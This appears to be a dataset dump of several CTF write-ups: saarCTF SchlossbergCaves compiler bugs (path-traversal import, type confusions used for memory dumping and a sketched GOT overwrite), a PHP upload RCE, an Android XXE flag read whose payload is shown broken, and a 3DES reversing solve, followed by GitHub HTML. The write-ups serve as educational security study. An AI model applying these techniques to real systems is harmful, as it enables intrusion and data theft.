text_chunk
stringlengths
151
703k
# SchlossbergCaves # Summary The challenge is RCE-as-a-service: we can upload labyrinth crawler programs inSaarlang - eine unheilige Mischung aus C, Python und Saarländisch. The officialgoal of these programs is to find treasures hidden randomly in several labyrinthcells. The twist is that labyrinths are huge, and crawlers are limited to just ahandful of steps before they terminate. # Note from the organizers ```Service schlossberg has a server that is actually uninteresting and has no(known) flaws (/home/schlossbergcaves/backend/src/server). You can safely ignoreit, but /home/schlossbergcaves/backend/src/saarlang should give you enough towork with ;)``` # Analysis ## Architecture `SchlossbergCaveServer` provides a REST API listening on `127.0.0.1:9081`, whichis proxied to `*:9080` by nginx. It is implemented in C++ using `Libmicrohttpd`,`json.hpp` and `LLVM`. The full source code is available. ## Endpoints ### User management These are self-describing: * `POST /api/users/register`* `POST /api/users/login`* `GET /api/users/current`* `POST /api/users/logout` ### Cave templates There are 50 cave maps (aka templates) stored in `data/cave-templates`. They are1440x900 cells large. Each cell is either traversable or a wall, so the map fileformat uses only 1 bit per cell. Analysis shows that in each map roughly half ofthe cells are free. * `GET /api/templates/list`* `GET /api/templates/TEMPLATE-ID` ### Caves Once the user has registered and logged in, he can create actual caves fromtemplates ("renting"). These caves have the following state associated with them: * a template from which they are created;* an owner;* treasure locations and names (one cave can have many). Treasure names are flags. Everyone can see all the existing caves, but only owners can hide and see thecorresponding treasures. When hiding treasures, owners can only provide theirnames - locations are chosen randomly by the server. * `GET /api/caves/list`* `POST /api/caves/rent`* `GET /api/caves/CAVE-ID`* `POST /api/caves/hide-treasures` ### Exploration Finally, the juiciest one: one can upload a custom Saarlang script thatnavigates a cave. The server runs the script and replies with information abouttreasure cells (coordinates and names) the script has visited. * `POST /api/visit` The scripts are limited to 12345 steps, and there are ~650k free cells, so asingle script has 1/52 chance of finding a particular flag. There is clearly a possibility for a programming contest style solution: upload52 scripts, which together cover the entire map. Unfortunately, I realized thisonly when I wrote this paragraph - during the CTF I perceived these chances asinfinitesimal. ## Saarlang ### Language saarlang scripts consist of multiple files. On upload, each file is JITed to anELF module, sha256 hashes of these modules are sent to the client (the checkerprobably verifies them), and then these modules are added to the executionengine, which links them together. A saarlang script must finish in 1.2 seconds. It can only make 12345 steps. Here are the elements of saarlang: * `holmol MODULE;` - module import.* `const NAME: TYPE = VALUE;` - const definition. All constants are initially 0, they get their values in `__saarlang_init_entry`.* `{eijo|eija} FUNCTION(VAR1: TYPE1, ...) gebbtserick TYPE: {}` - function definition. Establishes a new scope.* `{ STMT; ... }` - compound statement. Parser recurses. Establishes a new scope.* `serick EXPR;` - return from function.* `falls EXPR: STMT; [sonschd: STMT;]` - if-then-else.* `solang EXPR: STMT;` - while.* `var NAME: TYPE {= EXPR|(NUM)|};` - variable definition.* `mach NAME(EXPR1, ...)` - function call.* `neie TYPE(EXPR)` - array allocation.* `grees(EXPR)` - array length.* `(EXPR)` - priority.* `NAME` - variable reference. Identifiers start with `_` or letters and continue with `_`, letters or digits.* `NUMBER` - number. Only decimal.* `"STRING_LITERAL"` - string literal. No escaping. Operators (in the reverse order of precedence): * `X = Y`.* `X odder Y` - or.* `X unn Y` - and.* `X ^ Y`.* `X == Y`, `X != Y`.* `X < Y`, `X <= Y`, `X > Y`, `X >= Y`.* `X + Y`, `X - Y`.* `X * Y`, `X / Y`, `X % Y`.* `X@Y` - array access. Builtins: * `ruff` - go up.* `runner` - go down.* `riwwer` - go left.* `doniwwer` - go right.* `ferdisch` - exit.* `wo_x` - get x.* `wo_y` - get y.* `sahmol` - print integer.* `sahmol_ln` - println integer.* `sahmol_as_str` - puts byte array.* `ebbes` - rand.* `saarlang_version` - 1337.* `__current_function` - current function.* `main` - entry point.* `__saarlang_init_*` - static initializers. Types: * `int` - int (64-bit).* `byte` - byte (8-bit).* `lischd {int|byte}` - array. Represented as pointers to `malloc()`ed memory, which consists of `u64` length followed by array elements. Length is used for runtime bounds checking array accesses. A single array can take up to 1M. All arrays can take up to 7M.* function (not present on the syntax level). ### JIT Modules are loaded in several stages: * preload - tokenize and build AST.* import resolution - bring all names from imported modules into scope.* type checking (checks a bit more than just types).* llvm code generation.* object code generation. # Vulnerabilities ## [import flag](https://github.com/mephi42/ctf/tree/master/2020.03.21-saarCTF_2020/SchlossbergCaves/import-flag) Flags are stored at known paths: `data/caves/X_Y`, where `X_Y` can be obtainedusing `GET /api/caves/list`. Saarlang compiler has a pretty good diagnosticsubsystem, which causes importing a cave file using a relative path to outputits contents (which include the flag). During the CTF I got carried away by JIT and type checking stuff and completelyforgot that, even if it's C++, the bugs are not limited to just memorycorruptions and other tricks of the devil - straightforward stuff liketraversals and injections applies here as well! The fix is to prohibit imports using relative paths. ## [function type confusion](https://github.com/mephi42/ctf/tree/master/2020.03.21-saarCTF_2020/SchlossbergCaves/function-type-confusion) While function calls within Saarlang itself are thoroughly type checked, thereare two kinds of user-defined functions that are called by the runtime: `main`and `__saarlang_init_*`. They are assumed to have 0 arguments, but this is neververified: ```sl_int JitEngine::execute() { // call main() auto main = (int64_t (*)()) engine->getFunctionAddress("main"); if (!main) { std::cerr << "No main function defined!" << std::endl; throw std::exception(); } std::cout << "--- Saarlang execution starts ---\n"; auto result = main(); return result;}``` Therefore, if we declare them as having, say, 1030 arguments, we get access to 6registers and 1024 stack slots. Furthermore, we can define each of them to beeither a number or an array, which grants us solid dumping and overwritingpowers. Now, the proper way to exploit this would be as follows. These functions arecalled by the main binary, which is in turn called by libc, so the stack lookslike this: * stuff* `binary_addr` at a known offset* more stuff* `libc_addr` at a known offset* even more stuff We can define `binary_addr` to be `lischd byte` - this would allow us to writeanywhere inside the binary. There is no full RELRO, so we can overwrite GOT,e.g. `puts = system` and then `mach sahmol_as_str("/bin/sh")`. We can find outaddress of `system` by doing some trivial math on `libc_addr`. During the CTF I hesitated doing this, since this would take some effort toimplement, and then it could be immediately defeated by recompiling withtraditional mitigations or even ASAN (can one actually JIT with ASAN? that wouldbe so cool!). So I ended up uploading ~100 scripts per team, each treating anindividual arguments as an int array and blindly dumping all its elements. A lotof these scripts crashed, but so what? The dumps from the remaining onescontained all the flags I needed. The fix is to check that `main` and `__saarlang_init_*` have 0 arguments. ## [array type confusion](https://github.com/mephi42/ctf/tree/master/2020.03.21-saarCTF_2020/SchlossbergCaves/array-type-confusion) Code generation uses `convert` function all over the place, which uses numericcasting between ints and bytes, and bit casting between anything else. Clearly,bit casting is dangerous and can lead to interesting type confusions. However,many interesting options are excluded during type checking. One bug is here though - int arrays are compatible with byte arrays: ``` bool isCompatible(const TypeNode *t2) { if (isFunction || t2->isFunction) return false; if (isArray != t2->isArray) return false; if (basicType == TT_INT || basicType == TT_BYTE) return t2->basicType == TT_INT || t2->basicType == TT_BYTE; return false; }``` Bounds checking uses the first `u64` as a number of elements. So by assigningint array to a byte array we can obtain out-of-bounds reads and writes. To makelife more easier, I allocated two consecutive arrays and overwrote the length ofthe second one with -1. Again, this could have been used for getting the shell,but it was enough to just dump the heap. The fix is to make sure arrays have the same element types during compatibilitycheck. ## [mystery exploit](https://github.com/mephi42/ctf/tree/master/2020.03.21-saarCTF_2020/SchlossbergCaves/enemy-sploit-wtf) We caught this one in the traffic, but I did not manage to understand howexactly it works. It's obfuscated by using weird variable names and injectingdead code. Maybe it's actually the fragment of the ppc solution? Anyway,shoot-out to the team who made it! Needless to say, since we did not understand it, we did not fix it. If it's ppc,I'm not even sure whether there can be a fix. ## Random thoughts I had some other ideas and observations that I did not manage to explorefurther: * Generate 50 scripts for each template that, put together, visit every single cell.* Hide lots of treasures, infer random seed.* Generate a lot of nested statements - this should trigger stack overflow.* Import a nonexistent module.* Override an stdlib function.* Scope push/pop are not exception safe.* `ReturnStmtNode` checks the number of children, but the parser will always emit exactly one.* Write a function with array return type, but without a return statement. # Conclusion This is a great challenge, which manages to cover a lot of different categories:web, pwn and (likely) ppc. Not to mention it's about compiler development, whichI totally love!
1. get to know about /register.php from /robots.txt2. Do Post Auth RCE on upload user profile picture functionality with "shell.php.png" as your payload file name.
# Cars ![challenge description](img/desc.png) > Found this nice app! What could go wrong with this simple application?! # Installing the Application We are given an Android application, `cars.apk`. Initially I tried to install the application in my Android emulator, but got this error: ```$ adb install cars.apkPerforming Streamed Installadb: failed to install cars.apk: Failure [INSTALL_FAILED_TEST_ONLY: installPackageLI]``` Opening the APK up in JADX, we see that `android:testOnly="true"` is present in the AndroidManifest.xml: ```xml <manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="28" android:compileSdkVersionCodename="9" package="com.arconsultoria.cars" platformBuildVersionCode="28" platformBuildVersionName="9"> <uses-sdk android:minSdkVersion="26" android:targetSdkVersion="28"/> <uses-permission android:name="android.permission.INTERNET"/> <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:testOnly="true" android:allowBackup="true" android:supportsRtl="true" android:usesCleartextTraffic="true" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory"> <activity android:name="com.arconsultoria.cars.activity.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> <activity android:name="com.arconsultoria.cars.activity.DetailsActivity"/> <activity android:name="com.arconsultoria.cars.activity.CommentActivity"/> <provider android:name="com.squareup.picasso.PicassoProvider" android:exported="false" android:authorities="com.arconsultoria.cars.com.squareup.picasso"/> </application></manifest>``` The admins said that it was solvable without installing in an emulator to run, but I was curious and wanted to get it running. Although the APK is signed, it is possible to re-sign the APK with a modified AndroidManifest.xml to run in the emulator. This can be done with [`apktool`](https://ibotpeaches.github.io/Apktool/) and [`sign.jar`](https://github.com/appium/sign): ```sh$ apktool d cars.apk# edit cars/AndroidManifest.xml to remove the testonly $ apktool b cars cars_patched.apk# the output APK is in cars/dist/cars_patched.apk $ mv cars/dist/cars_patched.apk .$ java -jar sign.jar cars_patched.apk# signed APK in cars_patched.s.apk``` # Running the Application This is what we get when we first run the app: ![main view](img/main_app.png) When we tap on a car, we get: ![single car](img/single_car.png) When we tap on `Send Comment`, we get: ![comment form](img/comment.png) Let's fill it out and submit it: ![filled out form](img/comment_filled.png) ![comment response](img/submitted_comment.png) We see that the `Name` field is sent back to us in the response toast notification. # Decompiling the Application With that, let's actually analyze the application in JADX. Immediately the interface `com.arconsultoria.cars.rest.Rest` catches my eye: ```javapackage com.arconsultoria.cars.rest; import com.arconsultoria.cars.domain.Car;import com.arconsultoria.cars.domain.Comment;import com.arconsultoria.cars.domain.CommentResponse;import java.util.List;import kotlin.Metadata;import retrofit2.Call;import retrofit2.http.Body;import retrofit2.http.GET;import retrofit2.http.POST;import retrofit2.http.Path; @Metadata("removed for writeup")/* compiled from: Rest.kt */public interface Rest { @GET("/car/{id}") Call<Car> getCar(@Path("id") int i); @GET("/cars") Call<List<Car>> getCars(); @POST("/comment") Call<CommentResponse> postComment(@Body Comment comment);}``` We see that the `retrofit2` library is used to perform HTTP requests to a backend API. Let's see how it gets used, in `com.arconsultoria.cars.activity.CommentActivity`: ```javapackage com.arconsultoria.cars.activity; import android.os.Bundle;import android.view.View;import android.widget.Button;import android.widget.EditText;import androidx.appcompat.app.AppCompatActivity;import com.arconsultoria.cars.C0449R;import com.arconsultoria.cars.domain.Comment;import com.arconsultoria.cars.rest.Rest;import java.util.HashMap;import kotlin.Metadata;import kotlin.jvm.internal.Intrinsics;import retrofit2.Retrofit.Builder;import retrofit2.converter.gson.GsonConverterFactory; @Metadata("removed for writeup")/* compiled from: CommentActivity.kt */public final class CommentActivity extends AppCompatActivity { private HashMap _$_findViewCache; // truncated for writeup public final void send_comment() { Rest service = (Rest) new Builder().baseUrl(getResources().getString(C0449R.string.url_api)).addConverterFactory(GsonConverterFactory.create()).build().create(Rest.class); EditText editText = (EditText) _$_findCachedViewById(C0449R.C0451id.edt_name); Intrinsics.checkExpressionValueIsNotNull(editText, "edt_name"); String obj = editText.getText().toString(); EditText editText2 = (EditText) _$_findCachedViewById(C0449R.C0451id.edt_message); Intrinsics.checkExpressionValueIsNotNull(editText2, "edt_message"); service.postComment(new Comment(obj, editText2.getText().toString())).enqueue(new CommentActivity$send_comment$1(this)); }}``` In `send_comment()`, we see that a `Rest` object is created, with the API URL coming from `C0449R.string.url_api`, and then a `GsonConverterFactory` being used to parse the response. `Gson` is a library published by Google for parsing JSON, so we know that the API communicates using JSON messages. The last interesting piece I needed to find in the application before I can start messing with the API is what the URL is. Unfortunately, the `C0449R` class is a list of resource IDs, and I didn't know how to get the specified resource. Originally the application was communicating over HTTP (the admins published a new version after I alerted them that the app wasn't working properly due to improper handling of an HTTP 301 response), so I was able to easily use Burp to see the API requests. Unfortunately, their API was behind HTTPS on Cloudflare and Burp was failing to negotiate the TLS connection (even though other TLS sites were being proxied successfully). Luckily, I already knew where the API was so I was able to continue. Another way to get the string out of the application is with a commercial tool called JEB. I used the free trial, which decompiled the file and showed what the string was in a comment, so that's another way to get it. # API Communication Looking back at `com.arconsultoria.cars.rest.Rest` interface, we see that there are 3 API routes being used: * `GET /cars`* `GET /car/:id` * `int` ID for the requested car* `POST /comment` * Some sort of JSON payload comes with this To figure out the structure of the `/comment` endpoint, I looked at the referenced `com.arconsultoria.cars.domain.Comment` class: ```javapackage com.arconsultoria.cars.domain; import kotlin.Metadata;import kotlin.jvm.internal.Intrinsics; @Metadata("removed for writeup")/* compiled from: Comment.kt */public final class Comment { private String message; private String name; // truncated for writeup public String toString() { StringBuilder sb = new StringBuilder(); sb.append("Comment(name="); sb.append(this.name); sb.append(", message="); sb.append(this.message); sb.append(")"); return sb.toString(); } public Comment(String name2, String message2) { Intrinsics.checkParameterIsNotNull(name2, "name"); Intrinsics.checkParameterIsNotNull(message2, "message"); this.name = name2; this.message = message2; } // truncated for writeup}``` We can guess that the JSON payload will look like: ```json{ "name": "Test Comment", "message": "Hello!"}``` Armed with this knowledge, let's write a Python script to communicate with the API: ```pyimport requests url = "https://cars.fireshellsecurity.team" def get_cars(): r = requests.get(url + "/cars") print(r.headers) return r.json() def get_car(id): return requests.get(url + f"/car/{id}").json() def make_comment(name, message): msg = { "name": name, "message": message } r = requests.post(url + "/comment", json=msg) return r.json()``` The `/cars` and `/car/:id` requests weren't very interesting, but let's look at the headers for the `/comment` endpoint: ```Date: Sun, 22 Mar 2020 21:05:09 GMTContent-Type: application/jsonTransfer-Encoding: chunkedConnection: keep-aliveSet-Cookie: __cfduid=df8e835e0d61efb8e29fb96c265073fab1584911109; expires=Tue, 21-Apr-20 21:05:09 GMT; path=/; domain=.fireshellsecurity.team; HttpOnly; SameSite=Lax; SecureStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadCF-Cache-Status: DYNAMICExpect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"X-Content-Type-Options: nosniffServer: cloudflareCF-RAY: 5782de838877fda5-PDXContent-Encoding: gzipalt-svc: h3-27=":443"; ma=86400, h3-25=":443"; ma=86400, h3-24=":443"; ma=86400, h3-23=":443"; ma=86400``` We also get a JSON response from the API, again seeing that our `Name` field is present in the response: ```{'message': 'Thank you asdf for your comment!'}``` Hmm, I wonder if we can use other `Content-Type`s? After a quick Google search, we see that `retrofit2` technically can use XML, and even though there probably isn't a Java client with `retrofit2` on the server, it's possible that we could do an XXE (XML eXternal Entities) attack to leak the flag from the server. # POSTing a comment with XML First, let's try and send a normal comment with an XML payload. After some Googling, we see that `retrofit2` uses a parent XML element as the class name, and then each parameter as a sub-element, so we construct an XML payload like this: ```xml <Comment> <name>XML comment!</name> <message>Hello there!</message></Comment>``` Sending that payload (along with setting `Content-Type` to `application/xml`), we get the following JSON response: ```{'message': 'Thank you XML comment! for your comment!'}``` Yay! This confirms that the application successfully parses our XML payload. # XXE Exploit Now, we need to write an XML payload to get the flag. Let's use a basic XXE payload to load the flag and read it as the `name` element, since it is sent back to us in the response: ```xml ]><Comment> <name>&xx;;</name> <message>flag please!</message></Comment>``` If we send this payload, we get the flag! ```{'message': 'Thank you F#{0h_f1n4lly_y0u_f0und_m3!}\n for your comment!'}``` This was a really fun challenge, and I look forward to more Android challenges in future CTFs.
There are 3 files in challenge zip archive,```Archive: chal.zip Length Date Time Name--------- ---------- ----- ---- 256 2020-03-20 02:48 cipher.txt 193 2020-03-20 02:48 key.txt 21784 2020-03-20 02:48 main--------- ------- 22233 3 files``` - `main`, as the main binary- `key.txt` and `cipher.txt` At first glance the binary is rather confusing to look at, so I tried to use blackbox approach first.To do that, patch the `system()` call that will remove `result.txt` and after some light reversing we could know that input is 32 byte long (hint: `sub_1366`). ```sh$ python -c "print('A' * 32)" | ./main... (snipped)$ hexdump -C result.txt00000000 da 0c 23 9b b5 f7 ef 03 da 0c 23 9b b5 f7 ef 03 |..#.......#.....|*00000020$ python -c "print('A' * 24 + 'B' * 8)" | ./main... (snipped)$ hexdump -C result.txt00000000 da 0c 23 9b b5 f7 ef 03 da 0c 23 9b b5 f7 ef 03 |..#.......#.....|00000010 da 0c 23 9b b5 f7 ef 03 65 8c af 5f 47 63 81 c4 |..#.....e.._Gc..|00000020$ python -c "print('A' * 24 + 'B' * 7 + 'C')" | ./main... (snipped)$ hexdump -C result.txt00000000 da 0c 23 9b b5 f7 ef 03 da 0c 23 9b b5 f7 ef 03 |..#.......#.....|00000010 da 0c 23 9b b5 f7 ef 03 5d 3e af ea ae 61 2a cf |..#.....]>...a*.|00000020``` From the output we knew that the calculation done in a block of 8 byte. Well, fair enough, maybe we could try to bruteforce this? ```$ python -c "print('A' * 24 + 'B' * 7 + 'C')" | time ./main..../main 0.01s user 0.00s system 10% cpu 0.065 total``` Acceptable enough(?), but I don't think this is a brute hash problem given that it's an 8 byte block and there's `key.txt` file. At this point, I just remembered that we have have `cipher.txt` and `key.txt`, so I try to identify the enryption by known constants. ```$ wc -c key.txt193 # 192, -1 due to newline$ wc -c cipher.txt256``` Luckly, from `dword_208B60` there's a matching pattern from some website that I've found mention about 3DES, (https://paginas.fe.up.pt/~ei10109/ca/des.html)```Cint dword_208B60[56] = {57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4};``` With 192 bits key and the challenge name is __"TRIPLE"__, this should be it. The last step is just decrypt the `cipher.txt` with given `key.txt` using 3DES.MODE_ECB Solver,```python#!/usr/bin/env python3from Crypto.Cipher import DES3from binascii import unhexlify with open('key.txt') as f: key = int(f.read()[:-1], 2) # trim new line key = unhexlify(hex(key)[2:]) with open('cipher.txt') as f: cipher = int(f.read(), 2) cipher = unhexlify(hex(cipher)[2:]) des3 = DES3.new(key, DES3.MODE_ECB)print(repr(des3.decrypt(cipher)))``` Flag: `securinets{1_r34lly_do_b3l13v3_1n_y0u_rvrsr}`
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark" data-a11y-animated-images="system"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/light-fe3f886b577a.css" /><link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/dark-a1dbeda2886c.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-1ad5cf51dfeb.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-11d3505dc06a.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-8b800495504f.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-daa38c88b795.css" /><link data-color-theme="light_high_contrast" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_high_contrast-1b9ea565820a.css" /><link data-color-theme="light_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_tritanopia-e4be9332dd6c.css" /><link data-color-theme="dark_tritanopia" crossorigin="anonymous" media="all" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_tritanopia-0dcf95848dd5.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/primer-c581c4e461bb.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/global-0e278d45156f.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/github-dcaf0f44dbb1.css" /> <link crossorigin="anonymous" media="all" rel="stylesheet" href="https://github.githubassets.com/assets/code-26709f54a08d.css" /> <script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/wp-runtime-774bfe5ae983.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_stacktrace-parser_dist_stack-trace-parser_esm_js-node_modules_github_bro-327bbf-0aaeb22dd2a5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/ui_packages_soft-nav_soft-nav_ts-21fc7a4a0e8f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/environment-e059fd03252f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_selector-observer_dist_index_esm_js-2646a2c533e3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe-c04540d458d4.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_relative-time-element_dist_index_js-b9368a9cb79e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_fzy_js_index_js-node_modules_github_markdown-toolbar-element_dist_index_js-e3de700a4c9d.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_auto-complete-element_dist_index_js-node_modules_github_catalyst_-6afc16-e779583c369f.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_text-ex-3415a8-7ecc10fb88d0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-79182d-befd2b2f5880.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_view-components_app_components_primer_primer_js-node_modules_gith-6a1af4-df3bc95b06d3.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/github-elements-fc0e0b89822a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/element-registry-1641411db24a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_lit-html_lit-html_js-9d9fe1859ce5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_manuelpuyol_turbo_dist_turbo_es2017-esm_js-4140d67f0cc2.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_alive-client_dist-bf5aa2-424aa982deef.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_primer_behaviors_dist_esm_dimensions_js-node_modules_github_hotkey_dist_-9fc4f4-d434ddaf3207.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_color-convert_index_js-35b3ae68c408.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_github_session-resume_dist-def857-2a32d97c93c5.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_paste-markdown_dist_index_esm_js-node_modules_github_quote-select-15ddcc-1512e06cfee0.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_updatable-content_ts-430cacb5f7df.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_be-f5afdb-8dd5f026c5b9.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_sticky-scroll-into-view_ts-0af96d15a250.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_include-fragment_ts-app_assets_modules_github_behaviors_r-4077b4-75370d1c1705.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_behaviors_commenting_edit_ts-app_assets_modules_github_behaviors_ht-83c235-7883159efa9e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-742151da9690.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-06ff531-32d7d1e94817.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/notifications-global-f5b58d24780b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_morphdom_dist_morphdom-esm_js-node_modules_github_template-parts_lib_index_js-58417dae193c.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_virtualized-list_es_index_js-node_modules_github_memoize_dist_esm_index_js-8496b7c4b809.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_remote-form_dist_index_js-node_modules_delegated-events_dist_inde-70450e-0370b887db62.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/app_assets_modules_github_ref-selector_ts-7bdefeb88a1a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-d1ede1f1114e.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_mini-throt-a33094-b03defd3289b.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_github_mini-th-85225b-226fc85f9b72.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/repositories-8093725f8825.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-7a1f0da7430a.js"></script><script crossorigin="anonymous" defer="defer" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-89d93a449480.js"></script> <title>Securinets-CTF-Quals-2020/unc at master · dosxuz/Securinets-CTF-Quals-2020 · GitHub</title> <meta name="route-pattern" content="/:user_id/:repository/tree/*name(/*path)"> <meta name="current-catalog-service-hash" content="343cff545437bc2b0304c97517abf17bb80d9887520078e9757df416551ef5d6"> <meta name="request-id" content="AF64:F966:156E1FF:15FC0C0:64122189" data-pjax-transient="true"/><meta name="html-safe-nonce" content="48732f621264087c4a3cf30bfa8f7ea0005da4f50dc278aebb49e97295bbc813" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJBRjY0OkY5NjY6MTU2RTFGRjoxNUZDMEMwOjY0MTIyMTg5IiwidmlzaXRvcl9pZCI6IjQ3NTIxOTI5NzE3OTcwNDU2NDEiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="61fdf001aae00418e81493891049e6e53d6e7ce0bce9c03072b3e5f24b9f986b" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:249339878" data-turbo-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code,file-tree" data-turbo-transient="true" /> <meta name="selected-link" value="repo_source" data-turbo-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="google-site-verification" 